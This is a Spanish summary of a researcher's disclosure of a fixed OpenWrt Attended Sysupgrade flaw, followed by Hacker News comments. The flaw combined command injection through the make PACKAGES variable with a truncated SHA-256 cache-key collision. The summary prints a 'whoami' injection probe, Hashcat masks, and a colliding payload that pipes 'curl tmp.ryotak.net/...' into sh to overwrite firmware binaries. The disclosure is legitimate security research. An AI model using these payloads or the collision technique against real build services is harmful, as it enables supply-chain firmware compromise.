- La función de actualización web de OpenWrt, Attended Sysupgrade, tenía una arquitectura en la que generaba firmware en un servidor de compilación en línea, y al combinarse una inyección de comandos con una colisión de SHA-256 truncado, podía devolver artefactos de compilación incorrectos ante solicitudes legítimas
- Como el valor
packagesde la solicitud se pasaba a la variablePACKAGES=demake manifest, por las características de expansión de variables demake, un atacante podía ejecutar comandos arbitrarios dentro del contenedor del ImageBuilder - El hash de la lista de paquetes no reflejaba el SHA-256 completo, sino solo los primeros 12 caracteres, es decir, 48 bits, en la clave de caché, por lo que listas de paquetes distintas podían generar el mismo hash de solicitud
- El investigador obtuvo una velocidad de alrededor de 18 mil millones de hashes por segundo con una versión modificada de Hashcat y una RTX 4090, y logró verificar que podía sobrescribir los artefactos
.bindel ImageBuilder con una carga útil de inyección de comandos colisionada - Tras recibir un reporte privado de vulnerabilidad, el equipo de OpenWrt suspendió temporalmente
sysupgrade.openwrt.orgy desplegó una versión corregida en menos de 3 horas, pero no pudo confirmar si ya había sido explotada antes
Estructura de compilación de firmware en línea de Attended Sysupgrade
- La interfaz web LuCI de OpenWrt incluye
Attended Sysupgrade, una función que usa un servicio en línea para compilar nuevo firmware - El servicio de compilación funciona en
sysupgrade.openwrt.orgy, cuando el usuario selecciona el dispositivo objetivo y los paquetes deseados, genera una nueva imagen de firmware - Al solicitar la actualización, el OpenWrt del usuario envía al servidor la siguiente información
- Arquitectura objetivo
- Perfil del dispositivo
- Paquetes seleccionados
- Con base en esta información, el servidor compila una imagen de firmware, la devuelve al dispositivo OpenWrt y el dispositivo flashea la imagen recibida
- Si el servidor que compila imágenes con paquetes proporcionados por el usuario no está suficientemente aislado, se convierte en una superficie de ataque de cadena de suministro, ya que el resultado de la compilación se aplica directamente al dispositivo
Inyección de comandos mediante el valor PACKAGES
- El servidor
sysupgrade.openwrt.orges un proyecto open source, y su código fuente está en openwrt/asu - El entorno de compilación se ejecuta en un contenedor creado con
podman.containers.create, y usa configuraciones comocap_drop=["all"],no_new_privileges=Trueyprivileged=False - La vulnerabilidad ocurre en la llamada a
make manifestPROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- El target
manifestdel ImageBuilder de OpenWrt vuelve a pasar el valor dePACKAGESen la formaUSER_PACKAGES="$(PACKAGES)" - Como
makeexpande las variables antes de ejecutar comandos, los valores controlados por el usuario no se procesan de forma segura aunque estén entre comillas simples- En un Makefile de ejemplo, si se ejecuta
make var="'; whoami #",whoamise ejecuta incluso dentro deecho '$(var)'
- En un Makefile de ejemplo, si se ejecuta
- Como el parámetro
packagesde la solicitud entra en la variablePACKAGES, un atacante podía insertar comandos en un valor que aparentara ser un nombre de paquete y ejecutar comandos arbitrarios dentro del contenedor del ImageBuilder - Aunque el contenedor estuviera aislado del host, los binarios generados se firmaban con una clave privada en una etapa posterior, por lo que esta inyección de comandos derivaba en una vulnerabilidad de cadena de suministro
Clave de caché SHA-256 truncada a 12 caracteres
get_request_hashconcatena varios campos de la solicitud de compilación para crear un hash de solicitud, y ese hash se usa como clave de caché de compilación- La lista de paquetes no se incluye directamente como string, sino que se incorpora al hash externo de la solicitud el resultado de
get_packages_hash(build_request.packages) get_packages_hashelimina paquetes duplicados, los ordena y calcula el SHA-256 del string unido con espacios, pero devuelve el resultado truncado a los primeros 12 caracteres- Un prefijo SHA-256 de 12 caracteres tiene 48 bits, y el espacio posible es de
2^48 = 281,474,976,710,656valores - Como el hash externo de solicitud incluye este hash de paquetes truncado, si se produce una colisión del hash de paquetes, listas de paquetes diferentes comparten la misma clave de caché
- Como resultado, el servidor podía devolver artefactos de compilación incorrectos para una solicitud de paquetes distinta
Búsqueda de una carga útil colisionada con Hashcat
- Al no encontrar una herramienta de fuerza bruta para coincidencias parciales de SHA-256, el investigador escribió un programa en OpenCL, pero tardaba 10 segundos en calcular 100 millones de hashes, una velocidad similar a la de hashing en CPU
- Luego modificó Hashcat para que imprimiera hashes aunque solo coincidieran 8 caracteres, y verificó con un pequeño script si había colisiones de 12 caracteres
- La lista de paquetes legítima se obtuvo de
firmware-selector.openwrt.org, y su SHA-256 era8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb- Los primeros 12 caracteres eran
8f7018b33d94 - La carga útil de ataque también debía tener el mismo prefijo de 12 caracteres
- Los primeros 12 caracteres eran
- Al principio se ejecutó una máscara con la forma
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`en una RTX 4090, y se obtuvo una velocidad de alrededor de 500 millones de hashes por segundo - Como
?lgenera caracteresa-z, el espacio de 10 letras es de26^10 = 141,167,095,653,376valores, aproximadamente la mitad de2^48 - Al ampliar la máscara a 11 caracteres y mover la posición de la máscara hacia el inicio del comando, la velocidad aumentó considerablemente
- El patrón final fue
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - Con este patrón, Hashcat calculaba alrededor de 18 mil millones de hashes por segundo
- El patrón final fue
- En menos de 1 hora se encontró la siguiente colisión de 12 caracteres
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- El SHA-256 de este string es
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, cuyos primeros 12 caracteres coinciden con los de la lista de paquetes legítima
Devolución de firmware incorrecto al combinar las dos vulnerabilidades
- Al enviar la carga útil colisionada como parámetro
packages, se produce la inyección de comandos y se ejecuta un script desdetmp.ryotak.net - El script de verificación agregaba código a
/builder/scripts/json_overview_image_info.pypara sobrescribir los artefactos creados por el ImageBuilder- Leía la lista de archivos de
BIN_DIR - Buscaba archivos cuyo nombre terminara en
.biny escribía"test"en su contenido
- Leía la lista de archivos de
- Debido a la colisión de hash, el servidor devolvía el artefacto de compilación sobrescrito al usuario que solicitaba la lista de paquetes legítima
- Si este método se explotaba, el usuario terminaría actualizando a firmware malicioso, lo que podría llevar al compromiso del dispositivo
Reporte y corrección
- La vulnerabilidad se informó al equipo de OpenWrt mediante el reporte privado de vulnerabilidades de GitHub
- Tras confirmar el problema, el equipo de OpenWrt suspendió temporalmente el servicio
sysupgrade.openwrt.orge inició una investigación - La versión corregida se desplegó en menos de 3 horas, y el servicio también se reanudó
- Aunque se corrigieron ambos problemas, como la vulnerabilidad existió durante cierto tiempo, no fue posible saber si alguien más ya la había explotado
- El equipo de OpenWrt publicó un aviso para que los usuarios pudieran verificar y detectar si sus dispositivos habían sido comprometidos
Conclusión
sysupgrade.openwrt.orgpodía ser comprometido mediante la combinación de inyección de comandos y colisión de SHA-256 truncado- Es un caso en el que un ataque de colisión de hash se logró por fuerza bruta en una aplicación real, creando una ruta de ataque de cadena de suministro
- El equipo de OpenWrt corrigió el problema y avisó a los usuarios en poco tiempo, pero los servicios de compilación en línea deben tratar las claves de caché y la validación de entradas de forma muy conservadora
1 comentarios
Comentarios en Hacker News
La vulnerabilidad que el artículo omite es que se está normalizando ejecutar código adaptado a usuarios o dispositivos específicos.
No hay forma de verificar la reproducibilidad, y tampoco hay manera de que nadie confirme si este servicio de compilación/descarga personalizada produjo builds con puertas traseras.
Deberían garantizar que se usen builds como las que usa Andres Freund para xz-utils, o builds que luego investigadores de seguridad puedan descargar para comprobar si hay implantes en la cadena de suministro de software de código abierto[1].
Hace tiempo hubo un artículo que explicaba el intento abandonado de Mozilla de registrar públicamente sus release builds en un árbol de Merkle[2]. Google documentó la implementación de compilaciones de firmware para Pixel, pero las apps distribuidas por Google Play Store siguen viéndose vulnerables (salvo que exista otro log que no encontré)[3]. Apple, al dirigir builds por dispositivo individual tanto en firmware como en distribución de apps y sin transparencia de builds, se ve incluso peor que Google en términos de transparencia binaria.
Un buen ejemplo es el repositorio de ebuilds de Gentoo. Incluye checksums de código fuente en un único repositorio Git/árbol de Merkle, así que podría seguir siendo uno de los árboles de Merkle más grandes y ampliamente distribuidos dentro del software de código abierto.
[1] Después de la puerta trasera en xz-utils, algunos investigadores realizaron escaneos automáticos o semiautomáticos para encontrar archivos inexplicables de alta entropía que pudieran contener código malicioso oculto en builds de software de código abierto. En builds personalizadas por usuario o por dispositivo, este trabajo es imposible a menos que todas las builds se publiquen después para análisis posterior, junto con un log público (árbol de Merkle) de esas builds públicas.
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
Muchos elementos que entran en un pipeline de build son inherentemente no deterministas, porque las decisiones tomadas al compilar pueden variar entre ejecuciones. Eso es así incluso dejando de lado los problemas de flags, y de hecho ese es casi el objetivo de los compiladores con optimización. Como descubrieron muchos proyectos de builds reproducibles, con la optimización activada la reproducibilidad prácticamente no está garantizada.
Hasta donde sé, no hay un log centralizado y se deja a los desarrolladores de apps publicar por su cuenta sus claves o sus logs de archivos de transparencia.
¿
"".joinno es también riesgoso?Si es algo como
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., mover caracteres entre campos adyacentes podría dejar el hash igual.Aunque no permita tomar control directo del sistema, podría causar envenenamiento de caché con imágenes rotas o inducir downgrades.
Corrección: en realidad no HMAC, sino hash incremental.
Por eso el código abierto jamás podrá competir con el código cerrado empresarial:
porque no te hizo esperar 6 meses por un parche, sino que lo arregló en 3 horas; tampoco intentó demandar a quien reportó el problema; ni te ofreció apenas un pequeño descuento para que tires un dispositivo “obsoleto” que sigue funcionando perfectamente y compres uno nuevo.
Ojalá también planeen corregir la inyección de comandos. Como dice el artículo, las imágenes generadas se firman. Incluso sin la firma, sigue siendo un problema de ejecución de código a partir de entrada de usuario no confiable. Además, las vulnerabilidades pueden encadenarse entre sí, como en este caso de colisión de hash.
Sí puedo reemplazarlo, pero solo por el mismo modelo. Al ISP no le importa en absoluto la seguridad y no aplica parches. Es completamente absurdo, considerando que tienen acceso exclusivo al router e incluso pueden iniciar sesión de forma remota.
En la mayoría de los proyectos de código abierto, los mantenedores están demasiado sobrecargados o simplemente no quieren arreglar problemas de seguridad.
Para empezar, esto era código abierto aunque no era una herramienta creada originalmente para ese propósito, y estaba escrito sin BuilderFactoryProvider, así que fue un caso de ajustarlo al trabajo en muy poco tiempo.
Perdón por repetir algo ya dicho, pero esto me frustra muchísimo todos los días.
Si hubiera sido una gran empresa, probablemente habría tardado -1 año en arreglarlo. Simplemente habrían demandado a esa persona e intentado arrestarla lo antes posible, y jamás habrían publicado un parche.
OpenWrt, después de recibir la información, desactivó el servicio inseguro, verificó el reporte mientras los usuarios ya estaban protegidos gracias al apagado, luego creó el parche y lo desplegó en 3 horas. Impresionante.
Me intriga cómo se le ocurre a la gente la idea de truncar hashes. ¿Cuál sería el propósito o la ventaja?
No me parece una buena práctica, pero en la realidad la gente hace concesiones
Según la respuesta de @Reid en [2] y la de @ThomasPornin en [3], la idea de truncar hashes incluso está plenamente respaldada por NIST. De hecho, SHA-224 es una versión truncada de SHA-256, y SHA-384 es una versión truncada de SHA-512
https://security.stackexchange.com/a/97389
Me gustó el artículo. Me sorprendió un poco que encontrar una colisión tan corta requiriera tanta capacidad de cómputo de GPU, pero estuvo bien ver la implementación
Sobre la última sección: ¿40 mil dólares al mes por análisis de seguridad es un precio razonable? Si es así, ¿un buen investigador de seguridad gana como 500 mil dólares al año?
nmap/metasploity luego los envolvían en un PDF que parecía profesional2^(12*4)significa que hay 281,474,976,710,656 posibles cadenas de 12 caracteres, así que poder recorrer esa cantidad en una hora sí es realmente impresionante¿Qué significa eso de que el rendimiento de
hashcatcambia por varios órdenes de magnitud según el orden de los argumentos? ¿Escanea el patrón objetivo en la línea de argumentos cada vez que se ejecuta?O quizá sea como contar números
100000000000010000000000110000000000001000000000donde la mayor parte de la variación ocurre a la izquierda y los cambios a la derecha aparecen con menos frecuencia. Sería interesante que alguien que conozca hashcat respondiera. Yo solo estoy especulando
El proceso del ataque estuvo muy bien explicado y fue fácil de seguir